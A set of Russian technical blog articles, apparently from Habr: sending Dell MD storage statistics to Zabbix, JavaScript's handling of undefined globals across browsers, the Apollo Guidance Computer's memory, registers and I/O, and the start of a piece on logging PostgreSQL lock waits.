"Objects","Total IOs","Read %","Primary Read Cache Hit %","Primary Write Cache Hit %","SSD Read Cache Hit %","Current MBs/sec","Maximum MBs/sec","Current IOs/sec","Ma
ximum IOs/sec","Minimum IOs/sec","Average IOs/sec","Minimum MBs/sec","Average MBs/sec","Current IO Latency","Maximum IO Latency","Minimum IO Latency","Average IO Late
ncy"
"Capture Iteration: 1","","","","","","","","","","","","","","","","",""
"Date/Time: 1/17/18 9:37:05 PM","","","","","","","","","","","","","","","","",""
"Storage Array StorageName ","6396.0","52.0","64.6","100.0","0.0","31.2","31.2","1279.0","1279.0","1279.0","1279.0","31.2","31.2","-","-","-","-"
"RAID Controller Module 0","4043.0","47.3","55.3","100.0","0.0","27.3","27.3","808.0","808.0","808.0","808.0","27.3","27.3","-","-","-","-"
"RAID Controller Module 1","2353.0","60.0","77.3","100.0","0.0","3.9","3.9","470.0","470.0","470.0","470.0","3.9","3.9","-","-","-","-"
"Disk Pool Disk_Pool_1","5181.0","59.6","69.3","100.0","0.0","29.1","29.1","1036.0","1036.0","1036.0","1036.0","29.1","29.1","-","-","-","-"
"Disk Pool Disk_Pool_vps","1215.0","19.4","3.8","100.0","0.0","2.1","2.1","243.0","243.0","243.0","243.0","2.1","2.1","-","-","-","-"
"Virtual Disk VPS1","645.0","1.6","30.0","100.0","0.0","0.9","0.9","129.0","129.0","129.0","129.0","0.9","0.9","1.7","1.7","1.7","1.7"
...
```
Варианты решений
================
Данную информацию можно распарсить и отправить в zabbix, причем для отправки есть несколько вариантов
Zabbix agent и UserParameter, в котором можно расписать каждый из интересуемых параметров, например:
```
UserParameter = dell.md.discovery, /path/script_discovery
UserParameter = dell.md.totalio[*], /path/script2 $1
UserParameter = dell.md.currmb[*], /path/script3 $1
```
Zabbix\_sender, который даёт возможность одним вызовом скрипта отправить все параметры разом. Именно этот вариант я и выбрал.
Настройки в zabbix
==================
В zabbix необходимо сконфигурировать новый хост и создать в нем **discover rule**
Прописать в нём фильтр:
И добавить **item prototypes**
Тут детальнее, как именно прописывается прототип:
Отсылка в Zabbix
================
Отсылку данных можно производить через **zabbix\_sender -i**
Формат файла:
```
HOST key value
```
Причём в качестве **value** можно передавать json для discovery в формате:
```
{ 'data' :[
{'{#MDDEV}': 'drive1'},
{'{#MDDEV}': 'drive1'},
]
}
```
Где {#MDDEV} – макрос через которые мы обнаруживаем имена наших устройств/дисков, с которых собираемся снимать статистику.
Итого алгоритм действий следующий:
==================================
– снимаем статистику через **SMcli**, сохраняем в файл;
– парсим полученный файл;
– генерим файл для **zabbix\_sende**r.
Всё это можно реализовать **bash-скриптом**. Но мне проще всего показалось реализовать один скрипт на Python, который потом будет вызываться из крона раз в минуту. Трудности возникли только с модулем отсылки в zabbix. Он устанавливался и под 2.7 и под 3.6, но запустился только под 3.6.
Cкрипт можно взять в [GitHub](https://github.com/erlong15/zabbix_dell_md_sender)
Как всегда ждём вопросы и замечания тут или на [открытом уроке](https://otus.pw/yCkX/). | https://habr.com/ru/post/416787/ | null | ru | null |
# Обработка неопределённых глобальных переменных располагается далёко от здравого смысла! Но её можно превозмочь…
Здравый смысл веборазработчика подсказывает, что во браузерном джаваскрипте глобальные переменные являются свойствами объекта **window** — так что **window.чегоНибудь** и просто **чегоНибудь** должны быть синонимами и вести себя одинаково (если, конечно, мы не находимся в какой-нибудь такой функции, где переменную **чегоНибудь** переопределили локально).
Здравый смысл веборазработчика также ещё подсказывает, что неопределённая переменная должна иметь значение **undefined** — так что **чегоНибудь** и **undefined** должны быть синонимами и вести себя одинаково, когда переменную **чегоНибудь** не определяли в джаваскрипте (и если, конечно, никакой чудила не дерзнул переопределить **undefined**).
Но если вы собираетесь программировать для Opera 11 (будь то начальная версия Opera 11.01 или новёхонькая Opera 11.61), то будьте готовы отречься от здравого смысла в **обоих** сих случаях! *(Не только в Opera, но и в других браузерах и средах — но об этом чуть позже.)*
Чтобы нагляднейше убедиться в этом, воспользуемся библиотекою [**Underscore.js**](http://documentcloud.github.com/underscore/), в которой как раз имеется удобная функция тестирования неопределённых переменных — это функция **\_.isUndefined()**, в [исходном коде](http://documentcloud.github.com/underscore/underscore.js) определённая самоочевидным способом:
```
// Is a given variable undefined?
_.isUndefined = function(obj) {
return obj === void 0;
};
```
И так как библиотека **Underscore.js** подключена к собственной странице <http://documentcloud.github.com/underscore/>, то предлагаю попросту зайти на эту страницу да запустить **Opera Dragonfly** общеизвестным сочетанием клавиш Ctrl+Shift+I.
Вполне достаточно произвести три теста в консоли Dragonfly, чтобы тотчас коснуться хтонических глубин живейшего ужаса:
![[итоги тестирования]](https://habrastorage.org/r/w1560/getpro/habr/post_images/ccb/630/420/ccb6304201c99c2acf0b02e8e5f2d3a8.png)
Что же видите вы на этом скриншоте?
Сперва я проверил **\_.isUndefined(undefined)** и получил **true** — разумеется, так тому и следует быть.
Затем я проверил **\_.isUndefined(чтоНибудь)** — и это вызвало состояние ошибки в Опере! Мы видим поэтому, что **undefined** ведёт себя вовсе не так, как обыкновенная неопределённая переменная. Мы также видим нечто более мрачное: Opera не умеет безошибочно передавать неопределённые глобальные переменные (кроме специальной неопределённой переменной **undefined**) внутрь функций!
И наконец я проверил **\_.isUndefined(window.чтоНибудь)** — и вдругорядь получил **true**! С одной стороны, так тому и следует быть. С другой же стороны, сравнивая с предыдущей проверкою, тотчас видим, что глобальная переменная и одноимённое ей свойство объекта **window** ведут себя совершенно по-разному, когда не определены: выходит, что свойство можно передать в функцию безошибочно, а с глобальною переменною этого не получится сделать невозбранно.
Для консоли Dragonfly такая строгость и такая готовность искать ошибки — это ещё нормально. Вся проблема в том, что Opera совершенно с той же меркою подходит и к джаваскриптам на вебостраницах, так что функция **\_.isUndefined()** библиотеки **Underscore.js** становится, в общем-то, бесполезною: к простой глобальной переменной её применить без ошибки не удастся, а если всякий раз пользоваться префиксом «**window.**», то чего же было огород-то городить? — проще проверять на неопределённость традиционным способом:
```
typeof чтоНибудь == 'undefined' // традиционный способ
_.isUndefined(window.чтоНибудь) // едва ли короче и проще!
```
Чтобы обойти эту проблему, приходится сочинить примерно вот такой изящный и миниатюрный костыль:
```
_.isUndef = function(name){
return _.isUndefined(window[name]);
};
```
Можно сравнить и убедиться, что после этого проверка глобальных переменных на неопределённость обретает краткий безошибочный вид:
```
_.isUndefined(чтоНибудь) // вызывает ошибку в Opera!
_.isUndef('чтоНибудь') // записывается короче и работает без ошибки
};
```
До сих пор я говорил об Opera, но проблема, насколько я её понимаю, значительно шире браузера Opera. Например, нетрудно показать, что всё то же самое свойственно движку Node.JS:
![[скриншот NodeJS]](https://habrastorage.org/r/w1560/getpro/habr/post_images/739/fac/2a5/739fac2a58071960c08f9119a2ba5024.png)
Понятно, что аналог вышеприведённого костыля сможет подпереть проверку неопределённых глобальных переменных и в этом случае — только глобальным объектом в нём потребуется записать не **window**, а **global**, как принято в Node.
Здраво подозреваю, что подобный эффект при работе с неопределёнными глобальными переменными вы можете ожидать и в некоторых других приложениях, использующих движок V8 для интерпретации джаваскриптов. В комментариях мне [TheShock](http://habrahabr.ru/users/theshock/) подсказывает, что браузер Google Chrome относится к числу таких приложений.
Нетрудно убедиться и в том, что в **Web Console** в Файерфоксе вам также не удастся вызвать код «**\_.isUndefined(чтоНибудь)**» безошибочно. К ошибке джаваскрипта («**whatever is not defined**») приведёт попытка загрузить в Firefox 11 нижеследующий HTML-код:
```
isUndefined = function(i){
return i === void 0;
}
main = function(){
document.getElementById('b').innerHTML = isUndefined(whatever);
}
```
Всюду, всюду неопределённые глобальные переменные придётся проверять перед употреблением их в качестве параметров функций. | https://habr.com/ru/post/140433/ | null | ru | null |
# Apollo Guidance Computer — архитектура и системное ПО. Часть 2
[Ссылка на часть 1](https://habr.com/ru/post/461095/)
В этой части мы рассмотрим, как AGC организован с точки зрения программиста. Список литературы и источников приведён в конце первой части статьи. Материал этой части основан на материале книги [1].
### Представление чисел в памяти AGC
AGC использует 15-битные слова, со знаком в 15-м разряде. Также имеется разряд чётности, который записывается и контролируется аппаратно и полностью прозрачно для программного обеспечения, при каждой операции чтения и записи в память.
Целые числа представлены в формате «дополнения 1». Он заключается в следующем:
Неотрицательные числа от 0 до 16383 представлены в виде кодов от 000 000 000 000 000 до 011 111 111 111 111 соответственно.
Отрицательные числа образуются путём инверсии положительных, т.е. -1 представлен как 111 111 111 111 111, и до -16383, представленным двоичным кодом 100 000 000 000 000.
Арифметические действия выполняются так:
```
2: 000 000 000 000 010
-5: 111 111 111 111 010
111 111 111 111 100 (= -3)
```
Сложение двух отрицательных чисел несколько более сложно.
Если мы будем складывать по обычным правилам, то ничего не получится:
```
-2: 111 111 111 111 101
-5: 111 111 111 111 010
111 111 111 110 111 (= -8)
```
Однако, можно заметить, что сложение старших разрядов генерирует бит переноса. Мы должны просто прибавить бит переноса, чтобы получить верный результат:
```
-2: 111 111 111 111 101
-5: 111 111 111 111 010
111 111 111 110 111 (= -8)
Carry 1
111 111 111 111 000 (= -7)
```
Также можно заметить, что в этой системе возможны положительный и отрицательный нуль, что создаёт дополнительные сложности для программистов, например, при сравнении результата операции с нулём.
Также может отслеживаться переполнение аккумулятора при арифметических действиях, о чём речь пойдёт немного ниже.
ACG поддерживает только целочисленную арифметику и не может выполнять операции с вещественными числами аппаратно, но может делать это программно. AGC использует двоично-десятичное представление чисел длиной 28 бит (9 десятичных знаков), которое занимает две ячейки памяти, по 14 бит в каждой. Знаковые разряды тоже используются, причём младшее слово и старшее слово могут иметь разный знак! То есть, может быть число, представленное как, например, +5 \* 10000 + -5\*100 = 49500. Странно, но возможно.
Расстояния и скорости при расчётах представлены в метрической системе, но данные для экипажа отображаются в английской системе мер (футы и т.д).
*Формат инструкции*
### Модель памяти
В предыдущей части уже упоминалось, что память компьютера делится на ОЗУ объёмом 2 Кслова и ПЗУ объёмом 36Кслов. Так как в инструкции для значения адреса отведено всего 12 бит, используется принцип разделения памяти на банки. Для указания текущего банка используется специальный регистр.
Для перехода на новый банк памяти используется команда «Transfer into New Bank» (TNB), которая выполняет следующее:
* Копирует текущий регистр банка («Bank») в регистр «Saved Bank»
* Копирует 12-битный адрес из ячейки памяти, следующей за командой TNB, в регистр «Return Address»
* Загружаем новый адрес банка в регистр «Bank», а в счётчик команд загружаем смещение, на которое указывает инструкция TNB.
### Регистры
AGC имеет отображаемые на адресное пространство регистры. Они занимают первые 48 слов физической памяти.
**Аккумулятор** занимает адрес 08.
Аккумулятор используется в большинстве арифметических и логических операций (OR, AND и т.п.). Хотя AGC оперирует с 15-битными словами, аккумулятор имеет разрядность 16 бит, так как он хранит разряд переполнения. Когда данные загружаются в аккумулятор, они попадают в младшие биты, при этом бит 14 содержит знак числа. После выполнения арифметической операции, если не произошло переполнения, то бит 15 будет просто содержать копию знака, и этот разряд невидим для программиста. Назовём эти знаковые разряды как S1 и S2 соответственно. Если произошло переполнение, то S1 и S2 будут не равны между собой. И хотя бит S2 остаётся невидим для программиста, в AGC есть целых два способа установить состояние переполнения.
Во-первых, при возникновении переполнения автоматически запрещаются прерывания. Обработчик прерывания, если оно возникнет в этот момент, мог бы сбросить данный бит, что было бы очень нежелательно. Прерывания разрешаются только при очистке флага переполнения. Флаг сбрасывается только при очистке аккумулятора или при загрузке нового значения. Для проверки флага переполнения может использоваться команда Transfer to Storage (TS), которая сохраняет значение аккумулятора в память только в том случае, если переполнения не было, а если было переполнение в большую или меньшую сторону, значение в аккумуляторе заменяется на +1 или -1 соответственно. Команда TS также пропускает следующую инструкцию программы в том случае, если переполнение произошло. Предполагается, что программист напишет код, обрабатывающий переполнение, и разместит его через одну команду от TS, а сразу после TS вставит переход на инструкцию после обработчика переполнения.
**Регистр L** — адрес 000018
Регистр L также называется «the low order accumulator» и предназначен для расширения диапазона чисел, с которыми производятся операции. Также может использоваться для временного хранения переменных.
**Регистр Q** — адрес 000028
Регистр Q предназначен для сохранения адреса возврата. Регистр Q содержит 12-битный адрес, который в совокупности с текущим банком памяти даё полный адрес возврата из подпрограммы.
**Регистр EBANK** (Erasable Storage Bank) — адрес 000038
ОЗУ (называемая в AGC также «стираемой памятью»), содержит 2048 слов, разделённых на 8 банков по 256 слов. Адрес банка ОЗУ имеет 3 бита и содержится в регистре EBANK.
**Регистр FBAN**K (Fixed Storage Bank) — адрес 000048
ПЗУ имеет банки по 1024 слова и содержит 36 банков. Регистр FBANK имеет 5 бит и позволяет адресовать 32 банка.
**Fixed Extension Bit** (Superbank Bit)
Используется для адресации последних 4Кслов ПЗУ.
**Регистр BBANK** (Both Banks Register) — адрес 000068
При передаче управления на другую программу нужно поменять оба регистра FBANK и EBANK одновременно. Регистр BBANK содержит оба адреса — номера банков ОЗУ и ПЗУ. Запись в него автоматически обновляет регистры FBANK и EBANK.
**Регистр Z** (The program counter) — 000058
Регистр Z является счётчиком программы, то есть он определяет адрес выполняемой в настоящее время команды. Он имеет разрядность 12 бит.
**Регистр нуля** (A source of zeros) — адрес 000078
Содержит константу 0.
**Регистры обработчика прерывания** — адреса 000088 — 000128
По этим адресам расположены соответственно регистры ZRUPT, BRUPT, ARUPT, LRUPT, QRUPT и BANKRUPT.
**Регистры ZRUPT и BRUPT** — автоматически сохраняют содержимое регистра Z (счётчик инструкций), и регистра B (внутренний регистр, который содержит адрес команды, которая будет выполняться следующей).
**Регистры ARUPT, LRUPT, QRUPT и BANKRUPT** служат для сохранения аккумулятора и регистров L, Q и BB. Эти регистры должны сохраняться вручную и восстанавливаться вручную до выполнения инструкции RESUME, служащей для возврата из прерывания.
В процессе обработки прерывания AGC запрещает прерывания до выполнения инструкции RESUME. Таким образом, обработчик прерывания сам по себе не может быть прерван.
Ранее уже упомигалось о том, что аккумулятор имеет разрядность 16 бит, и старший бит используется для детектирования переполнения и недоступен программно. Однако регистр ARUPT, в который сохраняется аккумулятор при прерывании, имеет 15 бит. Каждый раз, когда наступает состояние переполнения, прерывания запрещаются до тех пор, пока флаг переполнения не будет очищен.
Регистры ARUPT, LRUPT, QRUPT и BANKRUPT нельзя использовать вне обработчика прерывания. Физически они остаются доступными, но с точки зрения основной программы, их состояние меняется в произвольные моменты времени.
**Регистры редактирования** — адреса 000208 — 000238
Первые три регистра — это регистры сдвига: Cycle Right, Shift Right, Cycle Left, то есть циклический сдвиг вправо, сдвиг вправо и циклический сдвиг влево. Система команд AGC не имеет операций сдвига, и для того, чтобы произвести сдвиг числа на один разряд, его нужно записать в один из этих регистров и затем считать. При каждой записи производится сдвиг на один бит.
**Регистр EDOP** (EDit Interpretive OPcode) — четвёртый из регистров редактирования.
Команды интерпретатора, о котором пойдёт речь ниже, хранятся по две в одном слове и занимают по 7 бит каждая. Для чтения младшей команды достаточно операции AND с маской, но для старшей понадобится сдвиг на 7 бит. Регистр EDOP выполняет такой сдвиг за одну операцию.
Регистры редактирования нельзя использовать в обработчиках прерываний, и вот почему. Обычные регистры должны быть сохранены в начале обработчика, и восстановлены при выходе из него. Но регистры редактирования выполняют операции над данными при записи в них, и это приведёт к неверному функционированию прерываемой программы.
### Таймеры и часы
#### Часы реального времени
AGC не использует календарное время, дни, месяцы и год. Вместо этого отсчёт производится от «нулевой» точки, которая начинается за несколько часов до старта. Часы отображаются на два слова в памяти, по адресам 000248 (T2), 000258 (T1). Слово T1 инкрементируется каждые 10 мс, слово T2 — приблизительно каждые 164 секунды, при переполнении слова T1.
#### Таймеры
000268 (T3) Wait list — инкремент каждые 10 мс., сдвинут относительно T4RUPT на 5 мс
000278 (T4) T4RUPT — инкремент каждые 10 мс.
000308 (T5) Автопилот — инкремент каждые 100 мс.
000318 (T6) часы высокого разрешения — инкремент каждые 1/1600 с = 0.625 мс.
Первый таймер, T3, нужен для работы переключателя задач (Wait list). Wait list — это список из очень коротких задач, каждая из которых занимает маленькое время, и может быть выполена непосредственно в обработчике прерывания. Список содержит до семи задач, каждая из которых запускается с определённым интервалом. Время выполнения задачи строго ограничено 4 мс. За это время компьютер успевает выполнить около 160 инструкций.
Таймер T4 запускает критические периодические задачи, имеющие интервал от 20 до 120 мс, включающие в себя обмен данными с DSKY, опрос переключателей на панелях управления кораблём и другие задачи.
### Блок инерциальных измерений IMU (The Inertial Measurement Unit)
IMU — это гироскопически стабилизированная платформа с акселерометрами, которая служит для определения положения и ускорений корабля в пространстве.
Мы не будем описывать здесь принцип действия гироскопа, отметим только, что положение осей гироскопа измеряется устройством CDU (Coupling Data Unit). Это устройство вырабатывает импульсы при повороте осей гироскопа, производя 32768 импульсов на полный оборот, что соответствует разрешению 39,55 угловых секунды на импульс.
Также CDU передаёт в AGC положение осей секстанта и радара сближения. Так как секстант есть только в командном модуле, а радар — только в лунном модуле, они используют один и тот же порт AGC.
Также IMU имеет три маятниковых акселерометра (Pulsed Integrating Pendulous Accelerometers, PIPA). Но здесь есть небольшая тонкость. Несмотря на то, что лунный модуль и командный модуль имеют одинаковые IMU, их диапазоны измерения скорости различны. Дипазон скоростей IMU командного модуля составляет от 0 до 11000 м/c, а у лунного модуля — до 1700 м/с. Разрешение IMU командного модуля составляет 5,85 см/с, у лунного модуля — 1 см/с.
#### Счётчики CDUS (X, Y, Z, OPTIS, OPTT) и PIPAS (X, Y, Z)
Передача данных от CDU в AGC происходит следующим образом: импульсы от датчиков могут инкрементировать и декрементировать счётчики. Число в счётчике имеет знак, отображающий направление движения. Счётчики расположены по определённым адресам в памяти, и могут быть считаны программно. Всего используется 8 счётчиков, шесть из которых отображают скорости и углы, и два предназначены для отображения углового положения секстанта в командном модуле или радара сближения в лунном модуле.
#### Управление устройствами через счётчики
CDU работал в обоих направлениях, он, например, не только мог определять положение радара сближения, но и мог считывать содержимое регистра из памяти компьютера, и подавать на моторы привода радара напряжение, до тех пор, пока радар не будет установлен под требуемым углом.
### Другие интерфейсы компьютера
На пульте лунного модуля имеется рукоятка (Attitude Controller Assembly, ACA) положение которой могло быть считано программно. Каждая ось этого контроллера посылала значения в переменные P\_RHCCTR, Q\_RHCCTR и R\_RHCCTR.
*Контроллер ACA*
*Контроллер ACA, внешний вид*
Контроллер ACA установлен только в лунном модуле
### INLINK (канал передачи телеметрии)
Устройство INLINK обеспечивает двустороннюю связь с Землёй, и служит для передачи телеметрической информации и приёма данных от центра управления полётами. Астронавты могут вводить необходимые для полёта данные через DSKY, но это процесс медленный и чреватый ошибками. Через регистр INLINK данные могут вводиться с Земли напрямую в компьютер.
### Управление двигателями
На протяжении процесса посадки лунного модуля AGC непрерывно вычисляет необходимые значения силы тяги и подаёт на двигатели сигналы управления. В течение 12 минут, которые длится посадка, двигатель сжигает примерно половину топлива, и программа должна учитывать уменьшение массы. Тяга двигателя меняется от уровня 92,5%, что составляет 46700 Н, до 10% полной тяги. Но тяга выше 65% вызывает сильный износ камеры сгорания и сопла, поэтому программа AGC должна минимизировать время, когда двигатель работает в таком режиме.
Компьютер связан с двигателями посадочной платформы через Descent Engine Control Assembly (DECA). Управление происходит через регистр THRUST. Экипаж может корректировать значение тяги вручную через контроллер Thrust/Translational Hand Controller (TTHC).
*Контроллер Thrust/Translational Hand Controller (TTHC).*
*Контроллер Thrust/Translational Hand Controller (TTHC). Внешний вид.*
Рукоятка контроллера подключена к DECA напрямую, компьютер не видит введённых вручную значений.
### Аналоговые приборы
Также используются аналоговые индикаторы, ALTM (analog displays: altimeter and rate meters), для индикации высоты над поверхности и скрости изменения высоты, которыми AGC управляет через регистр ALTM. Аналоговые индикаторы выполнены в виде вертикальных шкал (tapemeters).
*Индикаторы высоты и вертикальной скорости*
### Адресация и банки памяти
Как уже упоминалось, AGC имеет два типа памяти, ОЗУ, называемое также «стираемой памятью» (erasable memory), и ПЗУ (fixed memory). Объём памяти составляет 38 Кслов, что не позволяет адресовать всю память непосредственно, так как длина адреса в командном слове составляет 12 бит.
Для разделения памяти на банки используются регистры банков EBANK и FBANK, задающие банк ОЗУ и ПЗУ соответственно. Это расширяет адресуемое пространство 32Кслов, и для дальнейшего расширения адресуемого пространства ПЗУ используется бит Fixed Extension Bit, который позволяет получить доступ к 36Кслов.
### Банки ОЗУ
ОЗУ имеет объём 2Кслов, и делится на 8 банков по 256 слов.
*Дешифрация адреса ОЗУ*
Для адресации слова в банке ОЗУ нужно 8 бит. Ещё два бита нужно для определения типа банка: непереключаемый (unswithed) или переключаемый (swithed). За это отвечают биты 9 и 10 на рисунке выше (обратите внимание, что биты нумеруются с 1). Если эти биты содержат 00, 01 и 10, то регистр EBANK не используется, если 11 — используется, то содержимое EBANK объединяется с 8-битным адресом, записанным в командном слове, как показано на рисунке ниже. Если регистр EBANK не используется, то происходит обращение к первым трём банкам памяти, которые назваются немного вводящим в заблуждение термином «Fixed Erasable». Для обращения к ОЗУ биты 11 и 12 должны быть установлены в 0.
*Дешифрация адреса ОЗУ при использовании регистра EBANK*
### ПЗУ
Для обращения к ПЗУ используется аналогичный подход. Биты 11 и 12 командного слова определяют, какие банки используются, если эти биты содержат 00, то используется ОЗУ, как показано в предыдущем разделе, если 10 или 11, то все 12 бит используются как адрес в ПЗУ, регистр FBANK при этом не используется, если 01, то используется адрес, состоящий из младших 10 бит командного слова и содержимого регистра FBANK.
*Дешифрация адреса ПЗУ*
*Дешифрация адреса ПЗУ при использовании регистра FBANK*
### Общие банки
Важным побочным продуктом схемы разделения памяти на банки является возможность подключить в одно адресное пространство банки ПЗУ и ОЗУ, и использовать ОЗУ без необходимости переключать регистры банков. На рисунке поясняется, как работает такая схема.
*Схема использования ОЗУ и ПЗУ в одном адресном пространстве*
### Память за пределами 32Кслов
Для доступа к памяти выше 32Кслов используется бит расширения ПЗУ, Fixed Extension Bit, он же бит супербанка (Superbank Bit). Бит супербанка находится в бите 7 канала ввода-вывода 7. Канал 7 отличается от остальных каналов тем, что поддерживает как чтение, так и запись. Разумеется, бит расширения ПЗУ необходимо сохранять как во время обработки прерываний, так и при переключении задач.
### Передача управления между банками
Обратим внимание, в каком порядке расположены регистры FBANK, Z и BB в нижней памяти. Казалось бы, почему не объединить их в одном слове? Но так сделано специально, чтобы создать механизм передачи управления. При переключении на другой банк должны быть установлены новые значения FBANK и EBANK, либо BBANK. Однако, при этом возникает проблема. пусть, например, программа выполняется по адресу 010338 в банке ПЗУ 07, и нужно сделать переход на адрес 023718 в банке ПЗУ 13. При изменении регистра Z передаст управление по адресу 023718 в текущем банке, чего нам не нужно. Если мы сначала переключим текущий банк, возникнет похожая ситуация. Необходимо одновременное переключение регистра Z и банка памяти. Для этого используется инструкция DXCH, которая читает аккумулятор и регистр L, и обменивает их содержимое с двумя последовательными локациями в памяти. Таким образом, можно обменять аккумулятор и регистр L либо с парой FBANK, Z, либо с парой Z, BB. Эти варианты кодируются двумя мнемониками: Double Transfer Control Switching Both Banks (DTCB) и Double Transfer Control Switching Fixed Bank (DTCF). Команда DTCB позволяет не только перейти по другому адресу, но и поменять банк ОЗУ, а команда DTCF передаёт управление, оставляя банк ОЗУ прежним. Возврат из функции производится так. Исходные значения Z и BBANK (или FBANK) оказываются записанными в аккумулятор и регистр L. Вызываемая функция должна сохранить эти значения, а затем проделать обратную операцию, обменяв значения с регистрами банков и Z.
### Некоторые недостатки архитектуры AGC
В большинстве компьютерных архитектур присутствует указатель стека и/или индексные регистры (хотя бы один). Но не в AGC. Поддержка указателя стека потребовала бы дополнительных аппаратных затрат. Индексных регистров, которые позволяли бы организовывать доступ к структурам данных по адресу (указатель + смещение) тоже нет, но есть команда INDEX, которая устраняет необходимость в таком регистре. Также, хотя аппаратных индексных регистров нет, они эмулируются виртуальной машиной Interpreter, о которой речь пойдёт ниже.
Одной из особенностей AGC является использование многопоточной операционной системы реального времени. Для работы такой системы, как правило, необходим механизм блокировки разделяемых данных (мьютексы). Но в AGC такой механизм отсутствует, поэтому разработчики ПО должны тщательно проверять все случаи совместного доступа к данным из различных процессов, чтобы исключить возможность одновременного обращения к таким данным.
### Прерывания
40008 Startup
Стартовый адрес после подачи питания AGC
40048 T6RUPT
TIME6 достиг 0. Таймер используется автопилотом.
40108 T5RUPT
TIME5 достиг переполнения. Таймер используется автопилотом.
40148 T3RUPT
TIME3 достиг переполнения. Используется планировщиком задач WAITLIST.
40208 T4RUPT
TIME4 достиг переполнения. Опрос и и обновление индикации DSKY
40248 KEYRUPT1
Нажате кнопки DSKY. Код нажатой клавиши с главного DSKY доступен в канале 15
40308 KEYRUPT2
Нажате кнопки второго DSKY. Код клавиши навигационного DSKY доступен в канале 16 (только в командном модуле)
40348 UPRUPT
Данные в регистре INLINK
Используется для DSKY
40408 DOWNRUPT
Регистр Downlink содержит данные. Используется для телеметрии AGC
40448 RADARUPT
Данные в регистре RNRAD. Данные от радара сближения
40508 RUPT10
LM P64
Система команд
--------------
Код операции, или Order Code, в терминах того времени, кодируется тремя битами, то есть возможно всего лишь восемь опкодов, чего явно недостаточно для развитой системы команд. Однако разработчики нашли выход. Некоторые коды расширены дополнительным двухбитовым полем, Q-Code.
Опкод 000 соответствует большому числу специальных операций, опкоды 011, 100 и 111 соответствуют одной операции каждый, Оставшиеся опкоды 001, 010, 101 и 110 используют Q-коды.
*Формат команды с Q-кодом*
Также для расширения числа возможных опкодов использовались и другие ухищрения. Некоторые инструкции не могут работать с ОЗУ, и указание ОЗУ в качестве адреса могло бы привести к неопределённому результату, но такие опкоды с адресами операнда в ОЗУ использовались для совершенно других операций. Например, команда передачи управления TC (transfer control), не может передать управление на ОЗУ, но если адрес указывает на ОЗУ, то такой опкод соответствует команде разрешения прерываний (Enable Interrupts).
Когда и этих опкодов не хватило, был использован следующий подход. Если мы совершаем переход командой ТС на адрес 000068, на самом деле никакого перехода не происходит, вместо этого следующий за командой ТС 000068 опкод интерпретируется как принадлежащий к совершенно другому набору инструкций. Конечно, такие инструкции требуют больше времени на выполнение, потому что процессор должен прочитать и декодировать два опкода, но эта проблема сглаживается тщательным распределением команд между двумя наборами инструкций. Часто используемые команды включены в основной набор инструкций, а оставшиеся в расширенный.
#### Основные инструкции
Всего AGC содержит 41 команду. Команды делятся на 6 групп:
* Арифметико-логические
* Передачи управления
* Перемещения данных
* Модификация инструкций
* Инструкции ввода-вывода
* Разное
Однако мы не будем описывать здесь все команды AGC. Интересующиеся могут обратиться к книге [1].
### Связь с внешним миром: подсистема ввода-вывода
AGC не имеет жестких дисков или ленточных накопителей, и всё общение с внешним миром сводится к установке и чению битов в портах ввода-вывода. Периферийными устройствами AGC являются инерциальная платформа, двигатели, радар, DSKY и переключатели на панели управления. Скоростной обмен данными при этом не требуется, и укорость обмена не является существенным ограничивающим фактором.
Для ввода и вывода служат так называемые каналы. Запись и чтение канала происходит сходно с записью и чтением ячейки ОЗУ, но в отличте от ОЗУ, большинство каналов однонаправлены. Также есть порты-счётчики, которые служат для считывания положений осей IMU, радара и секстанта. Импульсы от датчиков углов инкрементируют и декрементируют счётчики, которые затем могут быть считаны AGC.
*Периферийные устройства AGC*
Инструкции ввода-вывода относятся к расширенному набору команд и требуют команды EXTEND перед опкодом. Команды ввода вывода имеют опкод 000, затем идёт трёхбитный PCode. Различные значения PCode используются только для наземных тестов, по умолчанию PCode равен нулю. Остальные 9 бит командного слова — это номер канала. AGC, таким образом, может адресовать до 512 каналов, но на практике используются только 16. Большинство периферийных устройств связано не с полным 15-битным словом, а с отдельным битом в слове, то есть при операциях ввода-вывода требуются логические операции AND, OR и Exclusive OR. Такие операции могут быть объединены в одну операцию с операцией ввода-вывода. Для этого предназначены инструкции WOR (Write with OR), WAND (Write with AND), ROR (Read and OR) и RXOR (Read and XOR).
Инструкции ввода-вывода используют аккумулятор для чтения и сохранения данных. Но есть также регистр L (low-order accumulator), который может быть отображён на порт, тогда всё, что читается и записывается в него, будет автоматически попадать в порт. Это позволяет использовать для работы с портом обычные логические операции AND, OR и XOR.
Но не все операции ввода-вывода требуют чтения или записи только одного бита. Например, DSKY посылает коды клавиш длиной 5 бит. Нажатие кнопки на DSKY генерирует прерывание KEYRUPT, код при этом помещается во входной канал.
Ещё один пример, когда необходима передача большого количества данных через порт, это интерфейсы uplink и downlink, обеспечивающие связь с Землёй на скорости 51 кбит/c или 1900 бит/с (выбирается вручную экипажем).
### Программное обеспечение
Программное обеспечение AGC основано на операционной системе реального времени Executive и виртуальной машине Interpreter. Их мы рассмотрим подробно в следующей части. | https://habr.com/ru/post/462421/ | null | ru | null |
# DBA: в погоне за пролетающими блокировками
В прошлой статье, где я [рассказывал о мониторинге БД PostgreSQL](https://habr.com/ru/post/502478/), была такая фраза:
> Растут `wait` — приложение в кого-то **«уперлось» на блокировках**. Если это уже прошедшая разовая аномалия — повод разобраться в исходной причине.
Такая ситуация — одна из самых неприятных для DBA:
* на первый взгляд, база работает
* никакие ресурсы сервера не исчерпаны
* … но часть запросов при этом «подтормаживает»
Шансов **поймать блокировки «в моменте»** крайне мало, да и длиться они могут всего по несколько секунд, но ухудшая при этом плановое время выполнения запроса в десятки раз. А хочется-то не сидеть и ловить происходящее в онлайн-режиме, а в спокойной обстановке разобраться постфактум, ~~кого из разработчиков покарать~~ в чем именно была проблема — кто, с кем и из-за какого ресурса базы вступил в конфликт.
Но как? Ведь, в отличие от запроса с его планом, который [позволяет детально понять](https://habr.com/ru/post/477624/), на что пошли ресурсы, и сколько времени это заняло, подобных **наглядных следов блокировка не оставляет** после себя…
Разве что короткую запись в логе: `> process ... **still waiting for** ...` А давайте попробуем зацепиться именно за нее!
Ловим блокировку в лог
----------------------
Но даже чтобы хотя бы эта строка оказалась в логе, сервер надо правильно настроить:
> `[log\_lock\_waits](https://postgrespro.ru/docs/postgresql/12/runtime-config-logging#GUC-LOG-LOCK-WAITS) = **'on'**`
… и установить минимальную границу для нашего анализа:
> `[deadlock\_timeout](https://postgrespro.ru/docs/postgresql/12/runtime-config-locks#GUC-DEADLOCK-TIMEOUT) = **'100ms'**`
>
>
>
